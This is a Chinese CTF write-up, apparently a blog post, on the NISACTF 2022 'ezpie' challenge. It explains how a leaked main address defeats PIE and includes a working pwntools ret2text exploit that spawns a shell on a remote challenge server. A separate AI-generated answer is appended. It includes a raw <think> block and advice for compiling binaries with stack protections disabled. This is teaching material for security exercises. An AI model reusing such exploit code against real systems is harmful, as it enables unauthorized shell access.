【PWN · ret2text | PIE 】[NISACTF 2022]ezpie

文章介绍了在PIE(PositionIndependentExecutable)保护下,如何利用栈溢出漏洞进行ret2text攻击。尽管PIE使得程序地址随机,但通过获取main函数的真实地址,可以计算其他函数地址并构造payload,最终控制程序执行流程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

简单的PIE绕过


目录

前言

一、题目重述

二、解题思路

1.现有信息

2.思考过程

3.exp 

总结


前言

所接触的PIE保护的第一题,也非常简单。


一、题目重述

二、解题思路

1.现有信息

  • PIE保护——程序可能被加载到任意位置,所以位置是可变的。
  • 程序返回了main的真实地址
  • 存在后门函数shell
  • vuln()中的read 0x50u >> 28h,存在栈溢出

2.思考过程

如果没有PIE——简单的ret2text,在vuln中的read处将程序执行流劫持到后门函数处即可。

然而存在PIE——所有的地址都是从一开始随机确定的,但是相对偏移量保持不变

获取了main的真实地址——可以通过相对偏移量推出其他任意地址,然后就是正常的ret2text即可。

        如果把开启程序比作小船,那么PIE开启就相当于小船在茫茫大海上漂移,不过还好小船的锚是确定下来的——main的真实地址,我们就可以通过锚来找到这艘小船,找到小船上的各个房间(函数)。 

3.exp 

from pwn import *

context(os='linux',arch='i386',log_level='debug')
io=remote("node2.anna.nssctf.cn",28860)

#用于通过真实地址+偏移来计算任意函数真实地址
main_addr=0x770
shell_addr=0x80f
io.recvuntil(b"gift!")

#接收main的地址
main_real_addr=int(io.recv()[1:11],16)
print("main_real_addr:",main_real_addr)

#payload编写:溢出填充到返回地址前+后门函数真实地址(某函数真实地址+相对偏移量)
payload=b'a'*(0x28+4)
payload+=p32(main_real_addr+shell_addr-main_addr)

io.sendline(payload)
io.interactive()

总结

随着刷题的深入,各种保护的开启肯定是免不了的,对此多做总结,总是好的。

<think>我们正在处理用户的问题:如何修复 `pwnlib.exception.PwnlibException: './ret2text' is not executable` 错误。 这个错误通常发生在使用pwntools时,尝试运行的文件(这里是'./ret2text')没有可执行权限。 解决步骤: 1. 检查文件是否存在,并确认路径是否正确。 2. 给文件添加可执行权限(使用`chmod +x`命令)。 3. 如果文件是交叉编译的(例如在x86上运行ARM程序),确保系统支持运行该架构的程序(可能需要使用qemu等工具)。 但是,用户的问题中提到了`ret2text`,这通常是二进制漏洞利用中的一个例子(返回text段代码)。因此,我们假设用户正在尝试运行一个二进制文件。 具体操作: 1. 在终端中,进入包含'ret2text'文件的目录。 2. 运行命令:`chmod +x ret2text` 来添加可执行权限。 3. 然后再次尝试运行pwntools的脚本。 如果问题仍然存在,可能需要检查文件是否损坏,或者是否针对正确的架构编译。 另外,如果用户是在Windows系统上使用Linux子系统(WSL)或者Linux/macOS,那么权限系统是支持的。如果是在纯Windows上使用pwntools,可能需要注意文件权限的设置方式不同。 但是,根据错误信息,pwntools检测到文件不可执行,所以添加可执行权限是最直接的解决方案。 生成相关问题: 1. 如何检查文件的权限和属性? 2. 如何在pwntools中指定可执行文件的路径? 3. 如果文件是动态链接的,如何解决库缺失的问题?</think>要解决`pwnlib.exception.PwnlibException: './ret2text' is not executable`错误,请按照以下步骤操作: ### 1. **添加可执行权限** 在终端执行: ```bash chmod +x ./ret2text ``` 这将赋予文件可执行权限。Linux系统要求文件显式设置可执行位[^1]。 ### 2. **验证文件类型** 执行: ```bash file ./ret2text ``` 检查输出是否包含 `ELF`(如 `ELF 64-bit LSB executable`)。若非可执行文件(如文本文件或损坏的二进制),需重新编译源代码。 ### 3. **检查文件完整性** - 若为编译生成的二进制文件,重新编译: ```bash gcc -no-pie -fno-stack-protector -z execstack source.c -o ret2text ``` - 关键编译选项: - `-no-pie`:禁用地址随机化(PIE) - `-fno-stack-protector`:关闭栈保护 - `-z execstack`:允许栈执行 ### 4. **验证架构兼容性** 运行: ```bash uname -m ``` 确保二进制文件架构(如x86_64)与系统架构匹配。不匹配时需使用`qemu`模拟: ```bash sudo apt install qemu-user # 安装QEMU qemu-x86_64 ./ret2text # 运行64位程序 ``` ### 5. **在pwntools中指定解释器** 若需强制运行,在Python脚本中指定加载器: ```python from pwn import * context.binary = ELF('./ret2text') p = process(['/lib64/ld-linux-x86-64.so.2', './ret2text']) # 显式调用动态链接器 ``` ### 常见问题排查表 | 问题现象 | 解决方案 | |---------|----------| | 权限不足 | `chmod +x ret2text` | | 文件损坏 | 重新下载/编译 | | 架构不匹配 | 使用`qemu`或交叉编译 | | 缺少依赖库 | `ldd ret2text` 检查并安装缺失库 | | PIE保护冲突 | 编译时添加 `-no-pie` 选项 |
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值